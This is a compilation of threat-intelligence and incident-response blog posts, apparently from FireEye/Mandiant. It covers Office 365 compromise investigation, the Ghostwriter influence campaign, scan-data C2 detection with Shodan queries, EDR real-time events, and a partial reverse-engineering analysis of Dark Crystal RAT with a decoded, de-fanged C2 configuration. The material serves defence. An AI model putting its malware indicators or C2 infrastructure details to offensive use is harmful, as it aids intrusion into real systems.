useragent:Opera) | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby username Querying the UAL for IPs and user agents in PowerShell:  Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -IPAddresses 1.2.3.4, 2.3.4.5 | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8  Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -FreeText "Opera" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Analyze Message Traces We’ll use PowerShell to query message traces for the compromised users we’ve identified. If the email was sent within the past 10 days, use the Get-MessageTrace cmdlet, which immediately returns results and allows teams to query IP addresses. For older emails, use the Start-HistoricalSearch cmdlet and download the report later from the Mail Flow section of the Security & Compliance center. Querying for the last 10 days of mail sent by the victim in PowerShell:  Get-MessageTrace -StartDate (Get-Date).AddDays(-10) -EndDate (Get-Date) -SenderAddress victim@client.com | Select-Object Received, SenderAddress, RecipientAddress, Subject, Status, FromIP, Size, MessageID | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8 Querying for older emails (up to 90 days) in PowerShell:  Start-HistoricalSearch -ReportTitle "Mandiant O365 investigation" -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy -ReportType MessageTraceDetail -SenderAddress victim@client.com As Message Trace results are reviewed, attention should be given to IP addresses to determine which emails were sent by attackers. If phishing was the suspected initial compromise vector, it’s a good idea to also query for incoming mail received within a few days prior to the first compromise date and look for suspicious sender addresses and/or subject lines. Acquire Emails of Interest With our list of suspicious emails identified from message traces, we’ll use the Content Search tool available in the Office 365 Security and Compliance Center acquire the email body and learn what domains were used in phishing lures (if phishing was present). Content Searches are performed by using a straightforward GUI, and the results can either be previewed in the browser, downloaded individually as EML files, or downloaded in bulk as PST files. Final Scoping At this point of our investigation, the BEC should be sufficiently scoped within the tenant. To ensure any follow-on activity hasn’t occurred, we’ll take all of the attack indicators and perform our final queries across the UAL. With that said, there are still edge cases in which attacker activity wouldn’t appear in O365 logs. For example, perhaps an additional user has submitted their credentials to a phishing page, but the attackers haven’t used them to log in yet. To ensure we don’t miss this activity, we’ll perform additional scoping across available network logs, specifically for IP addresses and domains related to the attacker’s phishing infrastructure. We’ll also leverage other FireEye products, such as the Endpoint Security platform, to search for phishing domains present on a host’s web browser history. #### Conclusion Unauthorized access to O365 tenant doesn’t just pose a threat to an organization, but also to its staff and business partners. Organizations without enhanced security controls in O365 are at the greatest risk of experiencing a BEC. However, as multi factor-authentication becomes more and more commonplace, we’ve witnessed an increase of MFA bypass attempts performed by increasingly proficient attackers. It’s important to remember that social engineering plays a primary role throughout a BEC. Ensure that users are trained on how to identify credential harvesting forms, a common compromise vector. When in the midst of a BEC compromise, teams may want to promptly alert personnel in HR and finance-related roles to exercise extra caution when processing requests related to banking or wire transfers while the investigation is in progress. The examples covered in this blog post are just a sample of what Managed Defense performs while investigating an Office 365 compromise. To take a proactive approach at preventing BECs, make sure the following best practices are implemented in a O365 tenant. Additionally, FireEye Email Security offers protections against phishing and the Helix platform’s O365 ruleset can alert on anomalous activity as soon as it happens. #### Recommended Best Practices • Ensure mailbox audit logging is enabled on all accounts • Disable Legacy Authentication protocols • Enable multi-factor authentication (MFA) • Enforce strong passwords and a password expiration policy • Forward O365 audit logs to a centralized logging platform for extended retention • Enforce an account lockout policy in Azure/on-premise Active Directory • Restrict mail forwarding to external domains #### Acknowledgements Special thanks to Doug Bienstock, Glenn Edwards, Josh Madeley, and Tim Martin for their research and assistance on the topic. # ‘Ghostwriter’ Influence Campaign: Unknown Actors Leverage Website Compromises and Fabricated Content to Push Narratives Aligned With Russian Security Interests Mandiant Threat Intelligence has tied together several information operations that we assess with moderate confidence comprise part of a broader influence campaign—ongoing since at least March 2017—aligned with Russian security interests. The operations have primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe, occasionally leveraging other themes such as anti-U.S. and COVID-19-related narratives as part of this broader anti-NATO agenda. We have dubbed this campaign “Ghostwriter.” Many, though not all of the incidents we suspect to be part of the Ghostwriter campaign, appear to have leveraged website compromises or spoofed email accounts to disseminate fabricated content, including falsified news articles, quotes, correspondence and other documents designed to appear as coming from military officials and political figures in the target countries. This falsified content has been referenced as source material in articles and op-eds authored by at least 14 inauthentic personas posing as locals, journalists and analysts within those countries. These articles and op-eds, primarily written in English, have been consistently published to a core set of third-party websites that appear to accept user-submitted content, most notably OpEdNews.com, BalticWord.com, and the pro-Russian site TheDuran.com, among others, as well as to suspected Ghostwriter-affiliated blogs. Some of these incidents and personas have received public attention from researchers, foreign news outlets, or government entities in Lithuania and Poland, but have not been tied to a broader activity set. Others have received little attention and remain relatively obscure. Mandiant Threat Intelligence has independently discovered several Ghostwriter personas and identified additional incidents involving some of those personas previously exposed. We believe the assets and operations discussed in this report are for the first time being collectively tied together and assessed to comprise part of a larger, concerted and ongoing influence campaign. Read the report today to learn more. # SCANdalous! (External Detection Using Network Scan Data and Automation) #### Real Quick In case you’re thrown by that fantastic title, our lawyers made us change the name of this project so we wouldn’t get sued. SCANdalous—a.k.a. Scannah Montana a.k.a. Scanny McScanface a.k.a. “Scan I Kick It? (Yes You Scan)”—had another name before today that, for legal reasons, we’re keeping to ourselves. A special thanks to our legal team who is always looking out for us, this blog post would be a lot less fun without them. Strap in folks. #### Introduction Advanced Practices is known for using primary source data obtained through Mandiant Incident Response, Managed Defense, and product telemetry across thousands of FireEye clients. Regular, first-hand observations of threat actors afford us opportunities to learn intimate details of their modus operandi. While our visibility from organic data is vast, we also derive value from third-party data sources. By looking outwards, we extend our visibility beyond our clients’ environments and shorten the time it takes to detect adversaries in the wild—often before they initiate intrusions against our clients. In October 2019, Aaron Stephens gave his “Scan’t Touch This” talk at the annual FireEye Cyber Defense Summit (slides available on his Github). He discussed using network scan data for external detection and provided examples of how to profile command and control (C2) servers for various post-exploitation frameworks used by criminal and intelligence organizations alike. However, manual application of those techniques doesn’t scale. It may work if your role focuses on one or two groups, but Advanced Practices’ scope is much broader. We needed a solution that would enable us to track thousands of groups, malware families and profiles. In this blog post we’d like to talk about that journey, highlight some wins, and for the first time publicly, introduce the project behind it all: SCANdalous. #### Pre-SCANdalous Case Studies Prior to any sort of system or automation, our team used traditional profiling methodologies to manually identify servers of interest. The following are some examples. The success we found in these case studies served as the primary motivation for SCANdalous. APT39 SSH Tunneling After observing APT39 in a series of intrusions, we determined they frequently created Secure Shell (SSH) tunnels with PuTTY Link to forward Remote Desktop Protocol connections to internal hosts within the target environment. Additionally, they preferred using BitVise SSH servers listening on port 443. Finally, they were using servers hosted by WorldStream B.V. Independent isolation of any one of these characteristics would produce a lot of unrelated servers; however, the aggregation of characteristics provided a strong signal for newly established infrastructure of interest. We used this established profile and others to illuminate dozens of servers we later attributed to APT39, often before they were used against a target. APT34 QUADAGENT In February 2018, an independent researcher shared a sample of what would later be named QUADAGENT. We had not observed it in an intrusion yet; however, by analyzing the characteristics of the C2, we were able to develop a strong profile of the servers to track over time. For example, our team identified the server 185.161.208\.37 and domain rdppath\.com within hours of it being established. A week later, we identified a QUADAGENT dropper with the previously identified C2. Additional examples of QUADAGENT are depicted in Figure 1. Figure 1: QUADAGENT C2 servers in the Shodan user interface Five days after the QUADAGENT dropper was identified, Mandiant was engaged by a victim that was targeted via the same C2. This activity was later attributed to APT34. During the investigation, Mandiant uncovered APT34 using RULER.HOMEPAGE. This was the first time our consultants observed the tool and technique used in the wild by a real threat actor. Our team developed a profile of servers hosting HOMEPAGE payloads and began tracking their deployment in the wild. Figure 2 shows a timeline of QUADAGENT C2 servers discovered between February and November of 2018. Figure 2: Timeline of QUADAGENT C2 servers discovered throughout 2018 APT33 RULER.HOMEPAGE, POSHC2, and POWERTON A month after that aforementioned intrusion, Managed Defense discovered a threat actor using RULER.HOMEPAGE to download and execute POSHC2. All the RULER.HOMEPAGE servers were previously identified due to our efforts. Our team developed a profile for POSHC2 and began tracking their deployment in the wild. The threat actor pivoted to a novel PowerShell backdoor, POWERTON. Our team repeated our workflow and began illuminating those C2 servers as well. This activity was later attributed to APT33 and was documented in our OVERRULED post. #### SCANdalous Scanner, Better, Faster, Stronger Our use of scan data was proving wildly successful, and we wanted to use more of it, but we needed to innovate. How could we leverage this dataset and methodology to track not one or two, but dozens of active groups that we observe across our solutions and services? Even if every member of Advanced Practices was dedicated to external detection, we would still not have enough time or resources to keep up with the amount of manual work required. But that’s the key word: Manual. Our workflow consumed hours of individual analyst actions, and we had to change that. This was the beginning of SCANdalous: An automated system for external detection using third-party network scan data. A couple of nice things about computers: They’re great at multitasking, and they don’t forget. The tasks that were taking us hours to do—if we had time, and if we remembered to do them every day—were now taking SCANdalous minutes if not seconds. This not only afforded us additional time for analysis, it gave us the capability to expand our scope. Now we not only look for specific groups, we also search for common malware, tools and frameworks in general. We deploy weak signals (or broad signatures) for software that isn’t inherently bad, but is often used by threat actors. Our external detection was further improved by automating additional collection tasks, executed by SCANdalous upon a discovery—we call them follow-on actions. For example, if an interesting open directory is identified, acquire certain files. These actions ensure the team never misses an opportunity during “non-working hours.” If SCANdalous finds something interesting on a weekend or holiday, we know it will perform the time-sensitive tasks against the server and in defense of our clients. The data we collect not only helps us track things we aren’t seeing at our clients, it allows us to provide timely and historical context to our incident responders and security analysts. Taking observations from Mandiant Incident Response or Managed Defense and distilling them into knowledge we can carry forward has always been our bread and butter. Now, with SCANdalous in the mix, we can project that knowledge out onto the Internet as a whole. Collection Metrics Looking back on where we started with our manual efforts, we’re pleased to see how far this project has come, and is perhaps best illustrated by examining the numbers. Today (and as we write these continue to grow), SCANdalous holds over five thousand signatures across multiple sources, covering dozens of named malware families and threat groups. Since its inception, SCANdalous has produced over two million hits. Every single one of those, a piece of contextualized data that helps our team make analytical decisions. Of course, raw volume isn’t everything, so let’s dive a little deeper. When an analyst discovers that an IP address has been used by an adversary against a named organization, they denote that usage in our knowledge store. While the time at which this observation occurs does not always correlate with when it was used in an intrusion, knowing when we became aware of that use is still valuable. We can cross-reference these times with data from SCANdalous to help us understand the impact of our external detection. Looking at the IP addresses marked by an analyst as observed at a client in the last year, we find that 21.7% (more than one in five) were also found by SCANdalous. Of that fifth, SCANdalous has an average lead time of 47 days. If we only consider the IP addresses that SCANdalous found first, the average lead time jumps to 106 days. Going even deeper and examining this data month-to-month, we find a steady upward trend in the percentage of IP addresses identified by SCANdalous before being observed at a client (Figure 3). Figure 3: Percentage of IP addresses found by SCANdalous before being marked as observed at a client by a FireEye analyst A similar pattern can be seen for SCANdalous’ average lead time over the same data (Figure 4). Figure 4: Average lead time in days for SCANdalous over the same data shown in Figure 3 As we continue to create signatures and increase our external detection efforts, we can see from these numbers that the effectiveness and value of the resulting data grow as well. #### SCANdalous Case Studies Today in Advanced Practices, SCANdalous is a core element of our external detection work. It has provided us with a new lens through which we can observe threat activity on a scale and scope beyond our organic data, and enriches our workflows in support of Mandiant. Here are a few of our favorite examples: FIN6 In early 2019, SCANdalous identified a Cobalt Strike C2 server that we were able to associate with FIN6. Four hours later, the server was used to target a Managed Defense client, as discussed in our blog post, Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. FIN7 In late 2019, SCANdalous identified a BOOSTWRITE C2 server and automatically acquired keying material that was later used to decrypt files found in a FIN7 intrusion worked by Mandiant consultants, as discussed in our blog post, Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. UNC1878 (financially motivated) Some of you may also remember our recent blog post on UNC1878. It serves as a great case study for how we grow an initial observation into a larger set of data, and then use that knowledge to find more activity across our offerings. Much of the early work that went into tracking that activity (see the section titled “Expansion”) happened via SCANdalous. The quick response from Managed Defense gave us just enough information to build a profile of the C2 and let our automated system take it from there. Over the next couple months, SCANdalous identified numerous servers matching UNC1878’s profile. This allowed us to not only analyze and attribute new network infrastructure, it also helped us observe when and how they were changing their operations over time. #### Conclusion There are hundreds more stories to tell, but the point is the same. When we find value in an analytical workflow, we ask ourselves how we can do it better and faster. The automation we build into our tools allows us to not only accomplish more of the work we were doing manually, it enables us to work on things we never could before. Of course, the conversion doesn’t happen all at once. Like all good things, we made a lot of incremental improvements over time to get where we are today, and we’re still finding ways to make more. Continuing to innovate is how we keep moving forward – as Advanced Practices, as FireEye, and as an industry. #### Example Signatures The following are example Shodan queries; however, any source of scan data can be used. Used to Identify APT39 C2 Servers • product:“bitvise” port:“443” org:“WorldStream B.V.” Used to Identify QUADAGENT C2 Servers • “PHP/7.2.0beta2” RULER.HOMEPAGE Payloads • html:“clsid:0006F063-0000-0000-C000-000000000046” # Using Real-Time Events in Investigations To understand what a threat actor did on a Windows system, analysts often turn to the tried and true sources of historical endpoint artifacts such as the Master File Table (MFT), registry hives, and Application Compatibility Cache (AppCompat). However, these evidence sources were not designed with detection or incident response in mind; crucial details may be omitted or cleared through anti-forensic methods. By looking at historical evidence alone, an analyst may not see the full story. Real-time events can be thought of as forensic artifacts specifically designed for detection and incident response, implemented through Enterprise Detection and Response (EDR) solutions or enhanced logging implementations like Sysmon. During active-attacker endpoint investigations, FireEye Mandiant has found real-time events to be useful in filling in the gaps of what an attacker did. These events record different types of system activities such as process execution, file write activity, network connections, and more. During incident response engagements, Mandiant uses FireEye Endpoint Security to track endpoint system events in real-time. This feature allows investigators to track an attacker on any system by alerting on and reviewing these real-time events. An analyst can use our solution’s built-in Audit Viewer or Redline to review real-time events. Let’s look at some examples of Windows real-time events available on our solution and how they can be leveraged during an investigation. Let’s assume the account TEST-DOMAIN\BackupAdmin was an inactive Administrator account compromised by an attacker. Please note the examples provided in this post are based on real-time events observed during engagements but have been recreated or altered to preserve client confidentiality. #### Process Execution Events There are many historical process execution artifacts including AppCompat, AmCache, WMI CCM_RecentlyUsedApps, and more. A single artifact rarely covers all the useful details relating to a process's execution, but real-time process execution events change that. Our solution’s real-time process execution events record execution time, full process path, process identification number (PID), parent process path, parent PID, user, command line arguments, and even the process MD5 hash. Table 1 provides an example of a real-time process execution event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:40:58.235 Sequence Number 2879512 PID 9392 Process Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Parent PID 9103 Parent Process Path C:\Windows\System32\cmd.exe EventType Start ProcessCmdLine "C:\Windows\Temp\legitservice.exe" -b -m Process MD5 Hash a823bc31395539816e8e4664e884550f Table 1: Example real-time process execution event Based on this real-time process execution event, the process C:\Windows\System32\cmd.exe with PID 9103 executed the file C:\Windows\Temp\legitservice.exe with PID 9392 and the MD5 hash a823bc31395539816e8e4664e884550f. This new process used the command line arguments -b -m under the user context of TEST-DOMAIN\BackupAdmin. We can compare this real-time event with what an analyst might see in other process execution artifacts. Table 2 provides an example AppCompat entry for the same executed process. Note the recorded timestamp is for the last modified time of the file, not the process start time.  Field Example File Last Modified (UTC) 2020-03-07 23:48:09 File Path C:\Windows\Temp\legitservice.exe Executed Flag TRUE Table 2: Example AppCompat entry Table 3 provides an example AmCache entry. Note the last modified time of the registry key can usually be used to determine the process start time and this artifact includes the SHA1 hash of the file.  Field Example Registry Key Last Modified (UTC) 2020-03-10 16:40:58 File Path C:\Windows\Temp\legitservice.exe File Sha1 Hash 2b2e04ab822ef34969b7d04642bae47385be425c Table 3: Example AmCache entry Table 4 provides an example Windows Event Log process creation event. Note this artifact includes the PID in hexadecimal notation, details about the parent process, and even a field for where the process command line arguments should be. In this example the command line arguments are not present because they are disabled by default and Mandiant rarely sees this policy enabled by clients on investigations.  Field Example Write Time (UTC) 2020-03-10 16:40:58 Log Security Source Microsoft Windows security EID 4688 Message A new process has been created. Creator Subject: Security ID: TEST-DOMAIN\BackupAdmin Account Name: BackupAdmin Account Domain: TEST-DOMAIN Logon ID: 0x6D6AD Target Subject: Security ID: NULL SID Account Name: - Account Domain: - Logon ID: 0x0 Process Information: New Process ID: 0x24b0 New Process Name: C:\Windows\Temp\legitservice.exe Token Elevation Type: %%1938 Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x238f Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: Table 4: Example Windows event log process creation event If we combine the evidence available in AmCache with a fully detailed Windows Event Log process creation event, we could match the evidence available in the real-time event except for a small difference in file hash types. #### File Write Events An attacker may choose to modify or delete important evidence. If an attacker uses a file shredding tool like Sysinternal’s SDelete, it is unlikely the analyst will recover the original contents of the file. Our solution’s real-time file write events are incredibly useful in situations like this because they record the MD5 hash of the files written and partial contents of the file. File write events also record which process created or modified the file in question. Table 5 provides an example of a real-time file write event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:42:59.956 Sequence Number 2884312 PID 9392 Process Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Device Path \Device\HarddiskVolume2 File Path C:\Windows\Temp\WindowsServiceNT.log File MD5 Hash 30a82a8a864b6407baf9955822ded8f9 Num Bytes Seen Written 8 Size 658 Writes 4 Event reason File closed Closed TRUE Base64 Encoded Data At Lowest Offset Q3JlYXRpbmcgJ1dpbmRvd3NTZXJ2aWNlTlQubG9nJy Bsb2dmaWxlIDogT0sNCm1pbWlrYXR6KGNvbW1hbmQ Text At Lowest Offset Creating 'WindowsServiceNT.log' logfile : OK....mimikatz(command Table 5: Example real-time file write event Based on this real-time file write event, the malicious executable C:\Windows\Temp\legitservice.exe wrote the file C:\Windows\Temp\WindowsServiceNT.log to disk with the MD5 hash 30a82a8a864b6407baf9955822ded8f9. Since the real-time event recorded the beginning of the written file, we can determine the file likely contained Mimikatz credential harvester output which Mandiant has observed commonly starts with OK....mimikatz. If we investigate a little later, we’ll see a process creation event for C:\Windows\Temp\taskassist.exe with the MD5 file hash 2b5cb081721b8ba454713119be062491 followed by several file write events for this process summarized in Table 6.  Timestamp File Path File Size 2020-03-10 16:53:42.351 C:\Windows\Temp\WindowsServiceNT.log 638 2020-03-10 16:53:42.351 C:\Windows\Temp\AAAAAAAAAAAAAAAA.AAA 638 2020-03-10 16:53:42.351 C:\Windows\Temp\BBBBBBBBBBBBBBBB.BBB 638 2020-03-10 16:53:42.351 C:\Windows\Temp\CCCCCCCCCCCCCCCC.CCC 638 … 2020-03-10 16:53:42.382 C:\Windows\Temp\XXXXXXXXXXXXXXXX.XXX 638 2020-03-10 16:53:42.382 C:\Windows\Temp\YYYYYYYYYYYYYYYY.YYY 638 2020-03-10 16:53:42.382 C:\Windows\Temp\ZZZZZZZZZZZZZZZZ.ZZZ 638 Table 6: Example timeline of SDelete File write events Admittedly, this activity may seem strange at a first glance. If we do some research on the its file hash, we’ll see the process is actually SDelete masquerading as C:\Windows\Temp\taskassist.exe. As part of its secure deletion process, SDelete renames the file 26 times in a successive alphabetic manner. #### Network Events Incident responders rarely see evidence of network communication from historical evidence on an endpoint without enhanced logging. Usually, Mandiant relies on NetFlow data, network sensors with full or partial packet capture, or malware analysis to determine the command and control (C2) servers with which a malware sample can communicate. Our solution’s real-time network events record both local and remote network ports, the leveraged protocol, and the relevant process. Table 7 provides an example of a real-time IPv4 network event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:46:51.690 Sequence Number 2895588 PID 9392 Process + Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Local IP Address 10.0.0.52 Local Port 57472 Remote IP Address 10.0.0.51 Remote Port 443 Protocol TCP Table 7: Example real-time network connection event Based on this real-time IPv4 network event, the malicious executable C:\Windows\Temp\legitservice.exe made an outbound TCP connection to 10.0.0.51:443. #### Registry Key Events By using historical evidence to investigate relevant timeframes and commonly abused registry keys, we can identify malicious or leveraged keys. Real-time registry key events are useful for linking processes to the modified registry keys. They can also show when an attacker deletes or renames a registry key. This is useful to an analyst because the only available timestamp recorded in the registry is the last modified time of a registry key, and this timestamp is updated if a parent key is updated. Table 8 provides an example of a real-time registry key event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:46:56.409 Sequence Number 2898196 PID 9392 Process + Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Event Type 3 Path HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ LegitWindowsService\ImagePath Key Path CurrentControlSet\Services\LegitWindowsService Original Path HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\LegitWindowsService Value Name ImagePath Value Type REG_EXPAND_SZ Base64 Encoded Value QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABsAG UAZwBpAHQAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAA== Text C:\Windows\Temp\legitservice.exe Table 8: Example real-time registry key event For our solution's real-time registry events, we can map the event type to the operation performed using Table 9.  Event Type Value Operation 1 PreSetValueKey 2 PreDeleteValueKey 3 PostCreateKey, PostCreateKeyEx, PreCreateKeyEx 4 PreDeleteKey 5 PreRenameKey Table 9: FireEye Endpoint Security real-time registry key event types Based on this real-time registry key event, the malicious executable C:\Windows\Temp\legitservice.exe created the Windows service LegitWindowsService. If we investigated the surrounding registry keys, we might identify even more information about this malicious service. #### Conclusion The availability of real-time events designed for forensic analysis can fill in gaps that traditional forensic artifacts cannot on their own. Mandiant has seen great value in using real-time events during active-attacker investigations. We have used real-time events to determine the functionality of attacker utilities that were no longer present on disk, to determine users and source network addresses used during malicious remote desktop activity when expected corresponding event logs were missing, and more. Check out our FireEye Endpoint Security page and Redline page for more information (as well as Redline on the FireEye Market), and take a FireEye Endpoint Security tour today. # Analyzing Dark Crystal RAT, a C# Backdoor The FireEye Mandiant Threat Intelligence Team helps protect our customers by tracking cyber attackers and the malware they use. The FLARE Team helps augment our threat intelligence by reverse engineering malware samples. Recently, FLARE worked on a new C# variant of Dark Crystal RAT (DCRat) that the threat intel team passed to us. We reviewed open source intelligence and prior work, performed sandbox testing, and reverse engineered the Dark Crystal RAT to review its capabilities and communication protocol. Through publishing this blog post we aim to help defenders look for indicators of compromise and other telltale signs of Dark Crystal RAT, and to assist fellow malware researchers new to .NET malware, or who encounter future variants of this sample. #### Discovering Dark Crystal RAT The threat intel team provided FLARE with an EXE sample, believed to contain Dark Crystal RAT, and having the MD5 hash b478d340a787b85e086cc951d0696cb1. Using sandbox testing, we found that this sample produced two executables, and in turn, one of those two executables produced three more. Figure 1 shows the relationships between the malicious executables discovered via sandbox testing. Figure 1: The first sample we began analyzing ultimately produced five executables. Armed with the sandbox results, our next step was to perform a triage analysis on each executable. We found that the original sample and mnb.exe were droppers, that dal.exe was a clean-up utility to delete the dropped files, and that daaca.exe and fsdffc.exe were variants of Plurox, a family with existing reporting. Then we moved to analyzing the final dropped sample, which was dfsds.exe. We found brief public reporting by @James_inthe_box on the same sample, identifying it as DCRat and as a RAT and credential stealer. We also found a public sandbox run that included the same sample. Other public reporting described DCRat, but actually analyzed the daaca.exe Plurox component bundled along with DCRat in the initial sample. Satisfied that dfsds.exe was a RAT lacking detailed public reporting, we decided to perform a deeper analysis. #### Analyzing Dark Crystal RAT ##### Initial Analysis Shifting aside from our sandbox for a moment, we performed static analysis on dfsds.exe. We chose to begin static analysis using CFF Explorer, a good tool for opening a PE file and breaking down its sections into a form that is easy to view. Having viewed dfsds.exe in CFF Explorer, as shown in Figure 2, the utility showed us that it is a .NET executable. This meant we could take a much different path to analyzing it than we would on a native C or C++ sample. Techniques we might have otherwise used to start narrowing down a native sample’s functionality, such as looking at what DLLs it imports and what functions from those DLLs that it uses, yielded no useful results for this .NET sample. As shown in Figure 3, dfsds.exe imports only the function _CorExeMain from mscoree.dll. We could have opened dfsds.exe in IDA Pro, but IDA Pro is usually not the most effective way of analyzing .NET samples; in fact, the free version of IDA Pro cannot handle .NET Common Language Infrastructure (CLI) intermediate code. Figure 2: CFF Explorer shows that dfsds.exe is a .NET executable. Figure 3: The import table for dfsds.exe is not useful as it contains only one function. Instead of using a disassembler like IDA Pro on dfsds.exe, we used a .NET decompiler. Luckily for the reverse engineer, decompilers operate at a higher level and often produce a close approximation of the original C# code. dnSpy is a great .NET decompiler. dnSpy’s interface displays a hierarchy of the sample’s namespaces and classes in the Assembly Explorer and shows code for the selected class on the right. Upon opening dfsds.exe, dnSpy told us that the sample’s original name at link time was DCRatBuild.exe, and that its entry point is at <PrivateImplementationDetails>{63E52738-38EE-4EC2-999E-1DC99F74E08C}.Main, shown in Figure 4. When we browsed to the Main method using the Assembly Explorer, we found C#-like code representing that method in Figure 5. Wherever dnSpy displays a call to another method in the code, it is possible to click on the target method name to go to it and view its code. By right-clicking on an identifier in the code, and clicking Analyze in the context menu, we caused dnSpy to look for all occurrences where the identifier is used, similar to using cross-references in IDA Pro. Figure 4: dnSpy can help us locate the sample's entry point Figure 5: dnSpy decompiles the Main method into C#-like code We went to the SchemaServerManager.Main method that is called from the entry point method, and observed that it makes many calls to ExporterServerManager.InstantiateIndexer with different integer arguments, as shown in Figure 6. We browsed to the ExporterServerManager.InstantiateIndexer method, and found that it is structured as a giant switch statement with many goto statements and labels; Figure 7 shows an excerpt. This does not look like typical dnSpy output, as dnSpy often reconstructs a close approximation of the original C# code, albeit with the loss of comments and local variable names. This code structure, combined with the fact that the code refers to the CipherMode.CBC constant, led us to believe that ExporterServerManager.InstantiateIndexer may be a decryption or deobfuscation routine. Therefore, dfsds.exe is likely obfuscated. Luckily, .NET developers often use obfuscation tools that are somewhat reversible through automated means. Figure 6: SchemaServerManager.Main makes many calls to ExporterServerManager.InstantiateIndexer Figure 7: ExporterServerManager.InstantiateIndexer looks like it may be a deobfuscation routine ##### Deobfuscation De4dot is a .NET deobfuscator that knows how to undo many types of obfuscations. Running de4dot -d (for detect) on dfsds.exe (Figure 8) informed us that .NET Reactor was used to obfuscate it.  > de4dot -d dfsds.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET Reactor (C:\...\dfsds.exe) Figure 8: dfsds.exe is obfuscated with .NET Reactor After confirming that de4dot can deobfuscate dfsds.exe, we ran it again to deobfuscate the sample into the file dfsds_deob.exe (Figure 9).  > de4dot -f dfsds.exe -o dfsds_deob.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET Reactor (C:\Users\user\Desktop\intelfirst\dfsds.exe) Cleaning C:\Users\user\Desktop\intelfirst\dfsds.exe Renaming all obfuscated symbols Saving C:\Users\user\Desktop\intelfirst\dfsds_deob.exe Figure 9: de4dot successfully deobfuscates dfsds.exe After deobfuscating dfsds.exe, we ran dnSpy again on the resulting dfsds_deob.exe. When we decompiled SchemaServerManager.Main again, the results were much different, as shown in Figure 10. Contrasting the new output with the obfuscated version shown previously in Figure 6, we found the deobfuscated code much more readable. In the deobfuscated version, all the calls to ExporterServerManager.InstantiateIndexer were removed; as suspected, it was apparently a string decoding routine. In contrast, the class names shown in the Assembly Explorer did not change; the obfuscator must have irrecoverably replaced the original class names with meaningless ones obtained from a standard list. Next, we noted that ten lines in Figure 10 hold base64-encoded data. Once the sample was successfully deobfuscated, it was time to move on to extracting its configuration and to follow the sample’s code path to its persistence capabilities and initial beacon. Figure 10: Deobfuscating dfsds.exe shows that the method begins with some path manipulation and then accesses Base64-encoded data ##### Configuration, Persistence and Initial Beacon Recall that in Figure 10 we found that the method SchemaServerManager.Main has a local variable containing Base64-encoded data; decoding that data revealed what it contains. Figure 11 shows the decoded configuration (with C2 endpoint URLs de-fanged):  > echo TUhvc3Q6aHR0cDovL2RvbWFsby5vbmxpbmUva3NlemJseGx2b3Uza2NtYnE4bDdoZjNmNGN5NXhnZW 80dWRsYTkxZHVldTNxYTU0LzQ2a3FianZ5a2x1bnAxejU2dHh6a2hlbjdnamNpM2N5eDhnZ2twdHgy NWk3NG1vNm15cXB4OWtsdnYzL2FrY2lpMjM5bXl6b24weHdqbHhxbm4zYjM0dyxCSG9zdDpodHRwOi 8vZG9tYWxvLm9ubGluZS9rc2V6Ymx4bHZvdTNrY21icThsN2hmM2Y0Y3k1eGdlbzR1ZGxhOTFkdWV1 M3FhNTQvNDZrcWJqdnlrbHVucDF6NTZ0eHpraGVuN2dqY2kzY3l4OGdna3B0eDI1aTc0bW82bXlxcH g5a2x2djMvYWtjaWkyMzlteXpvbjB4d2pseHFubjNiMzR3LE1YOkRDUl9NVVRFWC13TGNzOG8xTlZF VXRYeEo5bjl5ZixUQUc6VU5ERUY= | base64 -d MHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/ 46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjl xqnn3b34w,BHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91 dueu3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239 myzon0xwjlxqnn3b34w,MX:DCR_MUTEX-wLcs8o1NVEUtXxJ9n9yf,TAG:UNDEF Figure 11: Decoding the base64 data in SchemaServerManager.Main reveals a configuration string Figure 11 shows that the data decoded to a configuration string containing four values: MHost, BHost, MX, and TAG. We analyzed the code that parses this string and found that MHost and BHost were used as its main and backup command and control (C2) endpoints. Observe that the MHost and BHost values in Figure 11 are identical, so this sample did not have a backup C2 endpoint. In dnSpy it is possible to give classes and methods meaningful names just as it is possible to name identifiers in IDA Pro. For example, the method SchemaServerManager.StopCustomer picks the name of a random running process. By right-clicking the StopCustomer identifier and choosing Edit Method, it is possible to change the method name to PickRandomProcessName, as shown in Figure 12. Figure 12: Assigning meaningful names to methods makes it easier to keep analyzing the program Continuing to analyze the SchemaServerManager.Main method revealed that the sample persists across reboots. The persistence algorithm 